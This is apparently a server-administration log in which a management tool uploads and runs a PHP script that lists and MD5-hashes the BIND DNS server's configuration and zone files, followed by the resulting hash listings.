MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:54:21: Establishing a connection
2026-05-15 17:54:21: 

PUT: /tmp/pkp641288

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:54:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp641288; rm /tmp/pkp641288'

2026-05-15 17:54:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 18:57:51: Establishing a connection
2026-05-15 18:57:51: 

PUT: /tmp/pkp383503

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 18:57:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp383503; rm /tmp/pkp383503'

2026-05-15 18:57:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
